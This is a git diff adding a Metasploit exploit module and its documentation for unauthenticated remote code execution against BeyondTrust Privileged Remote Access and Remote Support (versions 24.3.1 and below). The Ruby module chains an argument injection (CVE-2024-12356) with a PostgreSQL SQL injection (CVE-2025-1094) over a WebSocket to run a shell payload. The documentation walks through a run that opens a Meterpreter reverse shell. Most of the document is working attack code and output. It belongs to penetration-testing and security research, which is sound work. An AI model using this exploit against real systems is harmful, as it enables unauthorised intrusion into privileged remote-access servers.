diff --git a/documentation/modules/exploit/linux/http/beyondtrust_pra_rs_unauth_rce.md b/documentation/modules/exploit/linux/http/beyondtrust_pra_rs_unauth_rce.md new file mode 100644 index 000000000000..97b08109f90d --- /dev/null +++ b/documentation/modules/exploit/linux/http/beyondtrust_pra_rs_unauth_rce.md @@ -0,0 +1,101 @@ +## Vulnerable Application +This exploit achieves unauthenticated remote code execution against BeyondTrust Privileged Remote +Access (PRA) and Remote Support (RS), with the privileges of the site user of the targeted BeyondTrust +product site. This exploit targets PRA and RS versions `24.3.1` and below. + +## Testing +This exploit was tested against a vulnerable BeyondTrust Remote Support target running version `24.1.2`. To install +a virtual appliance, follow [this documentation](https://docs.beyondtrust.com/rs/docs/va-install). You will first need +to acquire the relevant software packages. + +## Verification Steps + +1. Start msfconsole +2. `use exploit/linux/http/beyondtrust_pra_rs_unauth_rce` +3. `set RHOST ` +4. `set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp` +5. `set LHOST eth0` +6. `set LPORT 4444` +7. `check` +8. `exploit` + +## Options + +### TargetCompanyName +If set, use this name value to identify the company name of the deployed site (e.g. `mytestcompany`). +By default, this is auto discovered. + +### TargetServerFQDN +If set, use this FQDN value to identify the FQDN of the deployed site (e.g. `support.mytestcompany.com`). +By default, this is auto discovered. + +### LeverageCVE_2024_12356 +By default, this exploit does not leverage the argument injection vulnerability CVE-2024-12356, and instead exploits the +SQLi vulnerability CVE-2025-1094 directly. Enabling this option will cause this exploit to leverage CVE-2024-12356 during +the exploitation of the SQLi vulnerability CVE-2025-1094. In either case the SQLi vulnerability CVE-2025-1094 is leveraged +to achieve RCE. + +## Scenarios + +### Default + +``` +msf6 exploit(linux/http/beyondtrust_pra_rs_unauth_rce) > show options + +Module options (exploit/linux/http/beyondtrust_pra_rs_unauth_rce): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.86.105 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit. + html + RPORT 443 yes The target port (TCP) + SSL true no Negotiate SSL/TLS for outgoing connections + VHOST no HTTP server virtual host + + +Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) + FETCH_DELETE true yes Attempt to delete the binary after execution + FETCH_FILENAME usKuEPuSzgnx no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + FETCH_WRITABLE_DIR /var/tmp yes Remote writable dir to store payload; cannot contain spaces + LHOST eth0 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Default + + + +View the full module info with the info, or info -d command. + +msf6 exploit(linux/http/beyondtrust_pra_rs_unauth_rce) > check +[*] 192.168.86.105:443 - The target appears to be vulnerable. Detected version 24.1.2 +msf6 exploit(linux/http/beyondtrust_pra_rs_unauth_rce) > exploit +[*] Started reverse TCP handler on 192.168.86.122:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Detected version 24.1.2 +[*] Using company name: mytestcompany +[*] Sending stage (3045380 bytes) to 192.168.86.105 +[*] Meterpreter session 1 opened (192.168.86.122:4444 -> 192.168.86.105:10104) at 2025-01-31 10:51:38 +0000 + +meterpreter > getuid +Server username: mytestcompany +meterpreter > sysinfo +Computer : 192.168.86.105 +OS : Gentoo 2.14 (Linux 6.1.76-bt) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` diff --git a/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb b/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb new file mode 100644 index 000000000000..fe933241e228 --- /dev/null +++ b/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb @@ -0,0 +1,344 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Rex::Proto::Http::WebSocket + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'BeyondTrust Privileged Remote Access (PRA) and Remote Support (RS) unauthenticated Remote Code Execution', + 'Description' => %q{ + This exploit achieves unauthenticated remote code execution against BeyondTrust Privileged Remote + Access (PRA) and Remote Support (RS), with the privileges of the site user of the targeted BeyondTrust + product site. This exploit targets PRA and RS versions 24.3.1 and below. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'sfewer-r7' # Rapid7 Analysis and Metasploit module + ], + 'References' => [ + ['CVE', '2024-12356'], # The argument injection in BeyondTrust code. By default, this exploit does not leverage CVE-2024-12356. + ['CVE', '2025-1094'], # The SQL injection in PostgreSQL code. + ['URL', 'https://www.beyondtrust.com/trust-center/security-advisories/bt24-10'], # BeyondTrust Advisory + ['URL', 'https://www.postgresql.org/support/security/CVE-2025-1094/'], # PostgreSQL Advisory + ['URL', 'https://attackerkb.com/topics/G5s8ZWAbYH/cve-2024-12356/rapid7-analysis'] # Rapid7 Analysis + ], + 'DisclosureDate' => '2024-12-16', + 'Platform' => [ 'linux', 'unix' ], + 'Arch' => [ARCH_CMD], + 'Privileged' => false, # Executes as the site user. + 'Targets' => [ + [ + 'Default', { + 'Payload' => { + 'DisableNops' => true, + # Our payload is passed to the PHP function pg_escape_string. We want to avoid any single quotes + # getting escaped unexpectedly. The server may be configured to escape double quotes (not by default). + # We also want to avoid any backward slash characters if CVE-2024-12356 is being leveraged. + 'BadChars' => '\'"\\' + } + } + ] + ], + # NOTE: Tested with the following payloads: + # cmd/linux/http/x64/meterpreter/reverse_tcp + # cmd/unix/reverse_bash + # cmd/unix/generic + 'DefaultOptions' => { + 'RPORT' => 443, + 'SSL' => true, + # A writable directory on the target for fetch based payloads to write to. + 'FETCH_WRITABLE_DIR' => '/var/tmp', + # Delete the fetch binary after execution. + 'FETCH_DELETE' => true, + # By default, a deployed site, like Remote Support, is expected to be located at the root path. + 'URIPATH' => '/' + }, + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_advanced_options( + [ + OptString.new('TargetCompanyName', [false, 'If set, use this name value to identify the company name of the deployed site. By default, this is auto discovered.']), + OptString.new('TargetServerFQDN', [false, 'If set, use this FQDN value to identify the FQDN of the deployed site. By default, this is auto discovered.']), + OptBool.new('LeverageCVE_2024_12356', [false, 'By default, this exploit does not leverage CVE-2024-12356. Enabling this option will cause this exploit to leverage CVE-2024-12356.', false]) + ] + ) + end + + def check + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'get_rdf'), + 'vars_get' => { + 'comp' => 'sdcust', + 'locale_code' => 'en-us' + } + ) + + return CheckCode::Unknown('Connection failed') unless res + + return CheckCode::Unknown("Unexpected response code #{res.code}") unless res.code == 200 + + # The HTTP content data will have something like this, followed by ~800Kb of string data: + + # 00000000 30 20 53 75 63 63 65 73 73 66 75 6c 0a 65 6e 2d |0 Successful.en-| + # 00000010 75 73 0a 31 37 33 37 33 36 38 38 37 32 0a 42 52 |us.1737368872.BR| + # 00000020 44 46 80 00 0a 91 07 81 32 34 2e 31 2e 32 00 82 |DF......24.1.2..| + # 00000030 00 00 00 00 67 8e 25 28 91 06 83 65 6e 2d 75 73 |....g.%(...en-us| + + # First there is a "0 Successful\nLOCALE_ID\nTIMESTAMP\n" value, we use a regex to match this so we can ignore it. + + header = res.body.match(/^(0 Successful\n.+\n\d+\n)/) + + return CheckCode::Unknown('Unexpected response header') unless header + + # Extract the remainder of the data, after the "0 Successful\nLOCALE_ID\nTIMESTAMP\n" pre-amble. + brdf_data = res.body[header[1].length..] + + return CheckCode::Unknown('Unexpected response data') unless brdf_data.include? 'Thank you for using BeyondTrust' + + # Pull out the magic value (4 bytes), the first tag and its value (file version, 3 bytes), and then the second tag + # and its value (product version). The product version is encoded as a string, so has two tags, one for the + # string type (0x91) and the other for the tag type (0x81). + magic, _, _, prod_version_tag1, file_version_data_len, file_version_tag2 = brdf_data.unpack('NCvCCC') + + # Inspect the data to ensure it looks like what we expect. + + return CheckCode::Unknown('Unexpected header magic') unless magic == 0x42524446 # BRDF + + return CheckCode::Unknown('Unexpected header prod_version_tag1') unless prod_version_tag1 == 0x91 # RDF_SMALL_SIZE + + return CheckCode::Unknown('Unexpected header file_version_tag2') unless file_version_tag2 == 0x81 # RDF_PRODUCT_VERSION + + product_version = brdf_data[10, file_version_data_len - 1] + + # We cannot differentiate between the two affected products, Privileged Remote Access (PRA) and Remote Support (RS). + # However, they both share a common version number, and a common patch for this vulnerability. + # + # Note #1: The vendor advisory only states that versions "24.3.1 and earlier" are affected, so we do not have a lower + # bound version number to test against. + # + # Note #2: The vendor supplied a patch (BT24-10-ONPREM1 or BT24-10-ONPREM2) to remediate the issue, in lieu of an + # updated product release. This patch does not change the products version number, so we cannot tell via a version + # based check if a target is actually vulnerable, therefore we can only report CheckCode::Appears. + if Rex::Version.new(product_version) <= Rex::Version.new('24.3.1') + return CheckCode::Appears("Detected version #{product_version}") + end + + CheckCode::Safe + end + + def exploit + # For the deployed site being targeted (either Privileged Remote Access or Remote Support), we need to know either + # the company name the site is registered to, or the FQDN of the deployed site. This is required to successfully + # establish a WebSocket connection to the target site application. By default, we query the target site to + # discover this, however a user can manually set either the expected company name or FQDN as a module option. + site_info = get_site_info + + if site_info.nil? + fail_with(Failure::UnexpectedReply, 'Failed to get the site info.') + end + + vprint_status("Company name: #{site_info[:company]}") + vprint_status("Site FQDN: #{site_info[:server]}") + + headers = { + # This is the vulnerable application which is reachable over a WebSocket to the target site. + 'Sec-WebSocket-Protocol' => 'ingredi support desk customer thin' + } + + if !site_info[:company].blank? + print_status("Using company name: #{site_info[:company]}") + + headers['X-Ns-Company'] = site_info[:company] + elsif !site_info[:server].blank? + print_status("Using site FQDN: #{site_info[:server]}") + + headers['Host'] = site_info[:server] + else + fail_with(Failure::BadConfig, 'No company name or site FQDN set. Either set the TargetCompanyName or TargetServerFQDN option to a valid value, or clear them both to auto discover these values at run time.') + end + + wsock = connect_ws( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'nw'), + 'headers' => headers + ) + + # Transmit a version for the request. The target may use version 2, but will agree to a lower version. By using a + # lower version of 1, we expect to be able to exploit older versions of the affected products which do not support + # version 2. + wsock.put_wstext("1\n") + + # Transmit a random UUID value for the 'thin mint' cookie value. + wsock.put_wstext("#{SecureRandom.uuid}\n") + + # Transmit the auth type we want. Zero is the gskey auth type. + wsock.put_wstext("0\n") + + # NOTE: We can bypass the need to leverage the argument injection CVE-2024-12356, by transmitting the malicious gskey + # value via a binary WebSocket message, instead of a text WebSocket message. We include a module option (false by + # default) called 'LeverageCVE_2024_12356' to make this exploit leverage the argument injection CVE-2024-12356. + + if datastore['LeverageCVE_2024_12356'] + vprint_status('Leveraging CVE-2024-12356 to trigger the SQLi (CVE-2025-1094)...') + + # Transmit the malicious gskey value and exploit the argument injection vulnerability. + # Our attacker value will be passed to the echo command, but as a variable, not as a string. We can therefore pass + # arbitrary arguments to echo (CVE-2024-12356). We pass the -e switch, to enable the interpretation of backslash + # escape sequences. We leverage this to pass an 0xC0 character, this will break the interpretation of a + # PostgreSQL statement (CVE-2025-1094), and in turn allow us to overcome the safe quotes that have been put in + # place. We can escape the current SQL statement and run an arbitrary PostgreSQL client meta-command. By running + # a \! meta-command, we can execute and arbitrary shell command. + wsock.put_wstext("-e \\\\xC0'; \\\\! #{payload.encoded} #\n") + else + vprint_status('Triggering the SQLi (CVE-2025-1094) directly (Without CVE-2024-12356)...') + + # Leverage the SQLi (CVE-2025-1094) directly, by placing the raw byte value 0xC0 in the gskey value that + # we send to the server. We can do this if we send a WebSocket binary message instead of a WebSocket text message. + wsock.put_wsbinary("\xC0'; \\\\! #{payload.encoded} #\n") + end + + # The vendor patch BT24-10-ONPREM1 will detect a malformed gskey value, and terminate the thin-scc-wrapper script + # early, tearing down the WebSocket connection. We can detect this here and warn the user that the target may + # actually be patched. As the patch does not change the servers version number, we cannot detect the patch via a + # version based check. + while wsock.has_read_data? datastore['WFSDELAY'] + frame = wsock.get_wsframe + + break if frame.nil? + + if frame.header.opcode == Rex::Proto::Http::WebSocket::Opcode::CONNECTION_CLOSE + print_warning('WebSocket closed unexpectedly! This indicates that the patch BT24-10-ONPREM1 has been applied, and the target is no longer vulnerable.') + break + end + end + + wsock.wsclose + rescue Rex::Proto::Http::WebSocket::ConnectionError => e + if e.http_response && !e.http_response.body.blank? + if e.http_response.body == 'Invalid company or app name' + print_error("#{e.http_response.body} - Set either the TargetCompanyName or TargetServerFQDN option to a valid value.") + else + print_error(e.http_response.body) + end + end + raise + end + + # We need to know the target sites company name, or FQDN, in order to successfully establish a WebSocket connection. + # We first favor the user setting either the TargetCompanyName or TargetServerFQDN options. If not set we then try + # an undocumented API endpoint /get_mech_list, that should return the target site company name. Finally, we fall + # back on the /download_client_connector endpoint which will also report a servername and site FQDN. + def get_site_info + if !datastore['TargetCompanyName'].blank? || !datastore['TargetServerFQDN'].blank? + return { + company: datastore['TargetCompanyName'], + server: datastore['TargetServerFQDN'] + } + end + + site_info = get_site_info_via_mech_list + + return site_info unless site_info.nil? + + get_site_info_via_download_client_connector + end + + # An internal un-documented API located at the /get_mech_list endpoint will return a JSON object that + # contains the company name of the target site. + def get_site_info_via_mech_list + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'get_mech_list'), + 'vars_get' => { + 'version' => '3' + }, + 'headers' => { + 'Accept' => 'application/json' + } + ) + + return error('get_site_info_via_mech_list Connection failed.') unless res + + return error("get_site_info_via_mech_list Request unexpected response code #{res.code}.") unless res.code == 200 + + json_data = res.get_json_document + + company = json_data['company'] + + return error('get_site_info_via_mech_list company not found.') if company.blank? + + vprint_status('Got site info via the /get_mech_list endpoint.') + + { company: company, server: nil } + end + + def get_site_info_via_download_client_connector + res1 = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'download_client_connector'), + 'vars_get' => { + 'issue_menu' => '1' + } + ) + + return error('get_site_info Connection 1 failed.') unless res1 + + return error("get_site_info Request 1, unexpected response code #{res1.code}.") unless res1.code == 200 + + return error('get_site_info_via_download_client_connector Request 1, unable to match data-html-url') unless res1.body =~ %r{data-html-url="\S+(/chat/html/\S+)"}i + + res2 = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, Rex::Text.html_decode(::Regexp.last_match(1))) + ) + + return error('get_site_info_via_download_client_connector Connection 2 failed.') unless res2 + + return error("get_site_info_via_download_client_connector Request 2, unexpected response code #{res2.code}.") unless res2.code == 200 + + return error('get_site_info_via_download_client_connector Request 2, unable to match data-company.') unless res2.body =~ /data-company="(\S+)"/i + + company = Rex::Text.html_decode(::Regexp.last_match(1)) + + return error('get_site_info_via_download_client_connector Request 2, unable to match data-servers.') unless res2.body =~ /data-servers="(\S+)"/i + + servers = Rex::Text.html_decode(::Regexp.last_match(1)) + + servers_array = JSON.parse(servers) + + return error('get_site_info_via_download_client_connector Request 2, data-servers not a valid array.') unless servers_array.instance_of? Array + + return error('get_site_info_via_download_client_connector Request 2, data-servers is an empty array.') if servers_array.empty? + + server = servers_array.first + + vprint_status('Got site info via the /download_client_connector endpoint.') + + { company: company, server: server } + rescue JSON::ParserError + error('get_site_info_via_download_client_connector JSON parse error.') + end + + # Helper method to print an error and then return nil. + def error(message) + print_error(message) + nil + end +end